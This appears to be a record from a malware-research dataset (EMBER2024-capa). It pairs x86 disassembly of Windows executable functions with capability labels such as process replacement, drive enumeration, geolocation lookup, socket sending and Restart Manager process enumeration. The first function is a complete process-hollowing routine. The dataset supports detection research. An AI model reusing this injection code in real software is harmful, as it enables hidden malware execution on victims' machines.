joyce8/EMBER2024-capa huggingface dataset:
Function at 0x442330
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [0x583a1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x404]
push 0x400
push eax
push 0
mov edi, dword [esi + 0x3c]
add edi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [edi], 0x4550
jne 0x4424ef
push 0x44
lea eax, [ebp - 0x448]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x458], xmm0
call fcn.004e54a0
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x448]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4424ef
push ebx
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x468], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4424ee
push 0
push 4
lea eax, [ebp - 0x45c]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [edi + 0x54]
mov dword [ebp - 0x464], eax
push esi
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 0x460], 0
cmp ax, word [edi + 6]
jae 0x4424a6
xor ebx, ebx
mov ecx, dword [esi + 0x3c]
add ecx, ebx
push 0
push dword [ecx + esi + 0x108]
mov eax, dword [ecx + esi + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x104]
add eax, dword [ebp - 0x464]
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x460]
add ebx, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x460], ecx
cmp ecx, eax
jl 0x442456
mov ebx, dword [ebp - 0x468]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x464]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004e3bc5
mov esp, ebp
pop ebp
ret
Function at 0x442b10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50503f
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x583a1c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
push 0
call fcn.004f959f
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x442bc1
push eax
push esi
call fcn.004f9936
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.004f935f
int3
Function at 0x4a91d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5061c5
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x583a1c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
lea eax, [ebx + 0x68]
mov dword [ebx], 0x57323c
mov dword [ebx + 0x10], 0x57322c
mov dword [ebp - 0x18], eax
mov dword [eax], vtable.std::ios_base.0
mov dword [eax + 8], 0
mov dword [eax + 0x28], 0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 1
sub esp, 8
lea edi, [ebx + 0x18]
mov dword [ebp - 0x10], 1
push edi
call fcn.004aa220
mov dword [ebp - 4], 4
mov eax, dword [ebx + 0x10]
mov eax, dword [eax + 4]
mov dword [ebx + eax + 0x10], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + ebx + 0xc], eax
mov dword [ebp - 4], 7
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ecx + ebx - 4], eax
mov dword [ebp - 4], 8
mov ecx, edi
mov eax, dword [ebx]
push 0x22
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x68]
mov dword [edx + ebx - 4], eax
call fcn.004aa140
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4aa220
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50633e
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x583a1c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0
mov eax, dword [ebx]
push 0
push 0
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.00443160
push 8
call fcn.004e3cb3
add esp, 4
mov esi, eax
xorps xmm0, xmm0
push 1
movq qword [esi], xmm0
call fcn.004f9839
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 2
mov eax, dword [edi + 0x30]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 2
push eax
call fcn.004a4140
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov ecx, 2
mov byte [ebp + 0xb], al
mov dword [ebp - 0x14], ecx
and ecx, 0xfffffffd
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x4aa364
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x4aa364
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x4aa380
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.00443160
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4acd30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506c18
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x583a1c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x34], edi
xor eax, eax
mov dword [ebp - 0x18], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push edx
mov dword [ebp - 0x18], 1
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x4ace60
mov dword [ebp - 4], 2
mov edx, dword [ebp - 0x14]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4acdc7
sub ecx, esi
sar ecx, 1
mov byte [ebp - 4], 3
xorps xmm0, xmm0
push ecx
push edx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
call fcn.0043c030
mov esi, 5
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x18], esi
and esi, 0xfffffffb
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 2
or esi, 2
lea eax, [ebp - 0x30]
mov dword [ebp - 0x18], esi
cmp edi, eax
je 0x4ace4e
mov ecx, edi
call fcn.0043a3c0
movups xmm0, xmmword [ebp - 0x30]
xor eax, eax
mov word [ebp - 0x30], ax
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x20]
movq qword [edi + 0x10], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 7
and esi, 0xfffffffd
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0043a3c0
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e3bc5
mov esp, ebp
pop ebp
ret

Function at 0x4ae3b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], ecx
xor esi, esi
test edi, edi
je 0x4ae405
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov edx, closesocket
nop dword [eax]
push 0
cmp edi, 0x7fffffff
mov eax, edi
cmova eax, edx
push eax
lea eax, [esi + ecx]
push eax
push dword [0x583b58]
call ebx
test eax, eax
jle 0x4ae3fc
mov ecx, dword [ebp - 4]
add esi, eax
mov edx, closesocket
sub edi, eax
jne 0x4ae3d0
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4aecd0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50250e
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x583a1c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
xorps xmm0, xmm0
mov edi, eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
mov ecx, esi
push 0
push edi
mov dword [ebp - 0x10], 1
call fcn.0043cea0
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x4aed6d
mov eax, dword [esi]
push 0
push edi
push eax
push 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
push 0
lea eax, [edi - 1]
mov ecx, esi
push eax
call fcn.0043cea0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4b36b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5078c2
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x438
mov eax, dword [0x583a1c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x41c], esi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebp - 0x444], esi
mov dword [ebp - 0x428], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x424], 0x400
mov dword [ebp - 0x41c], 0xf003f
mov byte [esi], 0
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x428], 1
jb 0x4b3772
mov eax, dword [eax]
lea ecx, [ebp - 0x420]
push ecx
push 0x20019
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4b3855
cmp dword [edi + 0x14], 0x10
jb 0x4b3798
mov edi, dword [edi]
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0
push edi
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4b3855
mov eax, dword [ebp - 0x424]
lea ecx, [ebp - 0x440]
dec eax
mov dword [ebp - 0x430], 0
push eax
lea eax, [ebp - 0x418]
mov dword [ebp - 0x42c], 0
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x440], xmm0
call fcn.004319c0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x440]
cmp esi, eax
je 0x4b3846
mov ecx, esi
call fcn.0043a450
movups xmm0, xmmword [ebp - 0x440]
mov byte [ebp - 0x440], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x430]
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 0xf
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x440]
call fcn.0043a450
mov eax, dword [ebp - 0x420]
test eax, eax
je 0x4b3866
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004e3bc5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4b3b50
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507a10
mov eax, dword fs:[0]
push eax
sub esp, 0x264
mov eax, dword [0x583a1c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x21c], esi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x220], 0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
mov eax, 1
push 0x208
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004e54a0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
dec eax
cmp eax, 0x103
ja 0x4b3de2
cmp word [ebp - 0x218], 0
lea edi, [ebp - 0x218]
je 0x4b3de2
nop
push 2
xorps xmm0, xmm0
mov dword [ebp - 0x228], 0
push edi
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x224], 0
movups xmmword [ebp - 0x238], xmm0
call fcn.0043c030
mov dword [ebp - 4], 2
mov edx, dword [ebp - 0x224]
mov eax, edx
mov ecx, dword [ebp - 0x228]
sub eax, ecx
cmp eax, 1
jb 0x4b3c90
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x238]
cmovae eax, dword [ebp - 0x238]
mov dword [eax + ecx*2], 0x5c
lea eax, [ebp - 0x238]
jmp 0x4b3caa
push 1
push 0x573288
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x238]
push 1
call fcn.0043bf00
movups xmm0, xmmword [eax]
mov dword [ebp - 0x258], 0
xor ecx, ecx
mov dword [ebp - 0x254], 0
movups xmmword [ebp - 0x268], xmm0
movq xmm1, qword [eax + 0x10]
movq qword [ebp - 0x258], xmm1
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov eax, dword [ebp - 0x21c]
or eax, 2
mov dword [ebp - 0x220], eax
movups xmmword [ebp - 0x250], xmm0
mov dword [ebp - 0x21c], eax
xor eax, eax
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], ecx
movq qword [ebp - 0x240], xmm1
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x254], 7
mov word [ebp - 0x268], ax
mov byte [ebp - 4], 4
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
je 0x4b3d6e
movups xmmword [eax], xmm0
mov dword [ebp - 0x270], eax
movq qword [eax + 0x10], xmm1
xor eax, eax
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], 7
mov word [ebp - 0x250], ax
mov byte [ebp - 4], 4
add dword [esi + 4], 0x18
jmp 0x4b3d7d
lea ecx, [ebp - 0x250]
push ecx
push eax
mov ecx, esi
call fcn.004bd6a0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x250]
call fcn.0043a3c0
mov eax, dword [ebp - 0x21c]
and eax, 0xfffffffd
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x220], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x268]
call fcn.0043a3c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x238]
call fcn.0043a3c0
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4b3dc4
sub ecx, edx
sar ecx, 1
lea edi, [edi + ecx*2]
add edi, 2
cmp word [edi], ax
jne 0x4b3c20
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e3bc5
mov esp, ebp
pop ebp
ret
Function at 0x4b5ee0
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507fc1
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x583a1c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x58], ebx
mov ecx, dword [eax]
mov eax, dword [0x586034]
cmp eax, dword [ecx + 4]
jle 0x4b5f67
push 0x586034
call fcn.004e3c4f
add esp, 4
cmp dword [0x586034], 0xffffffff
jne 0x4b5f67
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x586060], eax
mov dword [ebp - 4], 0xffffffff
push 0x586034
call fcn.004e3bfe
add esp, 4
mov ecx, 0x42
lea eax, [ebp - 0x54]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4b5f70
lea eax, [ebp - 0x54]
push eax
push ecx
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4b606c
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x68]
push eax
push 1
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4b6063
mov dword [ebp - 0x60], eax
mov ecx, 4
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4b5fc1
mov esi, dword [sym.imp.RstrtMgr.DLL_RmGetList]
lea eax, [ebp - 0x60]
push eax
push ecx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x58]
call esi
cmp eax, 0xea
jne 0x4b60a9
mov eax, dword [ebp - 0x64]
test eax, eax
je 0x4b60a9
xor ecx, ecx
mov edx, 0x29c
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004d11ac
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4b60a9
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x60]
push eax
push ebx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x58]
call esi
test eax, eax
jne 0x4b60a0
cmp dword [ebp - 0x64], eax
je 0x4b60a0
mov edx, dword [ebp - 0x5c]
test edx, edx
je 0x4b6061
mov edi, dword [0x586060]
mov ecx, ebx
nop dword [eax]
mov esi, dword [ecx]
cmp esi, edi
jne 0x4b608a
inc eax
add ecx, 0x29c
cmp eax, edx
jb 0x4b6050
xor ebx, ebx
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e3bc5
mov esp, ebp
pop ebp
ret
push ebx
call fcn.004c79e2
add esp, 4
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ebx, esi
jmp 0x4b606c
push ebx
call fcn.004c79e2
add esp, 4
push dword [ebp - 0x58]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
xor eax, eax
jmp 0x4b606e
Function at 0x4b6b10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x4b6b42
jl 0x4b6b35
test ecx, ecx
jne 0x4b6b42
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4b6c02
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.004aa200
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x4b6bae
jg 0x4b6b6d
test esi, esi
je 0x4b6bae
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x4b6b85
mov eax, dword [esp + 0x10]
jl 0x4b6b7f
cmp eax, esi
jae 0x4b6b85
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.004e5600
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x4b6bcf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x4b6beb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x4b6b54
jl 0x4b6beb
test ecx, ecx
jne 0x4b6b54
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov esi, dword [ebp + 0x10]
sbb esi, edx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x4b6c40
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x4b6c40
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.004e5600
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [esp + 0x18], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x4b6ca9
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x4b6c66
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x4b6c94
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.004d0d95
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x4b6ca9
cmp edi, eax
ja 0x4b6c72
test edi, edi
je 0x4b6ca9
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.004d0d95
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc